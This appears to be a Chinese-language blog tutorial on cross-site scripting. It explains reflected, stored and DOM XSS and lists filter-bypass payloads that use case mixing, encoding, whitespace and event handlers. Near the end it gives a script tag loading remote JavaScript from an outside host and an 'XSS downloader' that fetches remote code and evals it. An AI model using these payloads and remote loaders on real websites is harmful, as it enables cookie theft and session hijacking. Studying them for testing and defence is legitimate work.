携手创作,共同成长!这是我参与「掘金日新计划 · 8 月更文挑战」的第24天,点击查看活动详情
xss定义
攻击者向有XSS漏洞的网站输入恶意代码,当用户浏览该网站时,此代码自动执行,从而攻击。
多用于盗取cookie、破坏页面结构、重定向。
危害
- 盗取各种用户账户
- 窃取用户cookie资料,冒充身份进入网站
- 劫持用户会话,执行任意操作
- 刷流浪,执行弹窗广告
- 传播蠕虫病毒
XSS漏洞的验证
poc、exp、shellcode
poc 验证和检测漏洞的存在的代码
EXP 漏洞的完整利用工具
shellcode 利用漏洞时,所执行的代码
常用验证XSS漏洞的poc
常用 确认框 输入框XSS的分类
反射型XSS
反射性XSS,也就是非持久性XSS。用户点击攻击链接,服务器解析后响应,在返回的响应内容中出现攻击者的XSS代码,被浏览器执行。一来一去,XSS攻击脚本被web server反射回来给浏览器执行,所以称为反射型XSS。(存在参数里)
反射型xss是非持久性跨站脚本,当客户端进行访问链接时,攻击者将恶意代码植入到URL中,如果服务端未对URL携带的参数做判断或者过滤处理,直接返回响应页面,那么XSS攻击代码就会一起被传输到用户的浏览器,从而触发反射型XSS。
存储型XSS
存储型XSS,也就是持久型XSS。XSS恶意代码存储在web server中,这样,每一个访问特定网页的用户,都会被攻击。(存在数据库)
存储型XSS又叫持久型。此类型的XSS漏洞是由于恶意攻击代码被持久化保存到服务器上,然后被显示到HTML页面之中。这类漏洞经常出现在用户评论的页面,攻击者精心构造XSS代码,保存到数据库中,当其他用户再次访问这个页面时,就会触发并执行恶意的XSS代码,从而窃取用户的敏感信息。
DOM XSS
基于DOM的XSS,也就是web server不参与,仅仅涉及到浏览器的XSS。比如根据用户的输入来动态构造一个DOM节点,如果没有对用户的输入进行过滤,那么也就导致XSS攻击的产生。
DOM型XSS是一种XSS攻击,其中攻击pyload由于修改受害者浏览器页面的DOM树而执行的
payload在浏览器本地修改DOM树而执行,并不会传到服务器上,这也使得DOM XSS比较难以检测
伪协议
除常用xss漏洞的poc外,也可以使用javascript: 伪协议的方式构造xss
- javascript:alert('xss');
- 链接, 点击超链接,即可触发XSS
img标签伪协议,IE6下才能测试成功
事件
在网页中会发生很多事件(鼠标点击、鼠标移动、键盘输入等),JS可以对这些事件进行响应、我们可以通过事件触发JS函数,出发XSS
事件种类
windows 事件 对windows对象触发的事件
Form 事件 HTML表单内的动作触发事件
Keyboard 事件 键盘按键触发事件
Mouse 事件 由鼠标或类似用户动作触发的事件
Media 事件 由多媒体触发的事件
<img src='1.png' onmouseover='alert(/xss/)'>
该标签会引入一张图片,鼠标经过该图片时,触发xss代码
<input type="text" onkeydown="alert('xss')">
键盘点击事件,当按下键盘任意按键时候触发
HTML事件:www.runoob.com/tags/ref-ev…
XSS绕过方式
大小写绕过
<imG Src='#' onerror="alert(/xss/)">
<a hRef="javaScript:alert(/xss/)">链接</a>
双写绕过
<scr
引号绕过
HTML 语言中对引号的使用不敏感
<img src="#" onerror="alert(/xss/)">
<img src='#' onerror='alert(/xss/)'>
<img src=# onerror=alert(/xss/)>
htmlspecialchars()函数
- & (和号) 变为 &
- " (双引号)变为 "
- ' (单引号) 变为 '
- < (小于) 变为 <
- > (大于) 变为 >
回车、水平制表符绕过
image标签不能使用
可以在一些位置添加Tab(水平制表符)或回车符,来绕过关键字检测
<a href="j
a v
a s
c r
i p
t :
alert('xss')">链接
unicode编码绕过
Unicode编码转换 | Unicode在线转换 —在线工具 (sojson.com)
字母 ASCII码 十进制编码 十六进制编码
a 97 a; a;
<a/hRef="javaScript:alert(/xss/)">链接
任意位置字符
可将以下字符插入到任意位置
Tab 	
换行 

回车 
<a/hRef="javaScript:ale	


rt(/xss/)">链接
头部字符
可将以下字符插入到头部位置
SOH 
STX 
<a/hRef="javaScript:ale	

rt(/xss/)">链接
/ 代替空格
<img/src='#'/onerror='alert(/xss/)'>
拆分跨站
长度受限制时可以拆分跨站
shellcode的调用
远程调用JS
可以将JS 代码单独放在一个js文件中,然后通过http协议远程加载该脚本。
<script src="http://192.168.92.133/xss.js"></script>
其中xss.js的内容为
alert('xss');
windows.location.hash
可以使用js中的windows.location.hash方法获取浏览器的URL地址栏的XSS代码
例如
xxx.com/index.php#a… 经过windows.location.hash的值就变为了#abc
构造代码
?submit=1&xsscode=<script>eval(location.hash.substr(1))</script>#alert(/This is windows.location.hash/)
XSS Downloader
XSS下载器就是将XSS代码写到网页中,然后通过AJAX技术取得网页中的XSS代码。
常见XSS下载器
<script>
function XSS(){
if (window.XMLHttpRequest) {
a = new XMLHttpRequest();
}else if (window.ActiveXObject) {
a = new ActiveXObject( "Microsoft.XMLHTTP");
}else {return;}
a.open( 'GET','http://192.168.92.133/downloader.php',false);
a.send();
b=a.responseText;
eval(unescape(b.substring(b.indexOf('ABC|')+4,b.indexOf('|DEF'))));}
XSS();
</script>
AJAX
技术会受到浏览器同源策略的限制,为了解决这个问题,可在服务器添加以下内容
<?php
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Headers:Origin,X-Requested-With,Content-Type,Accept');
?>
过滤测试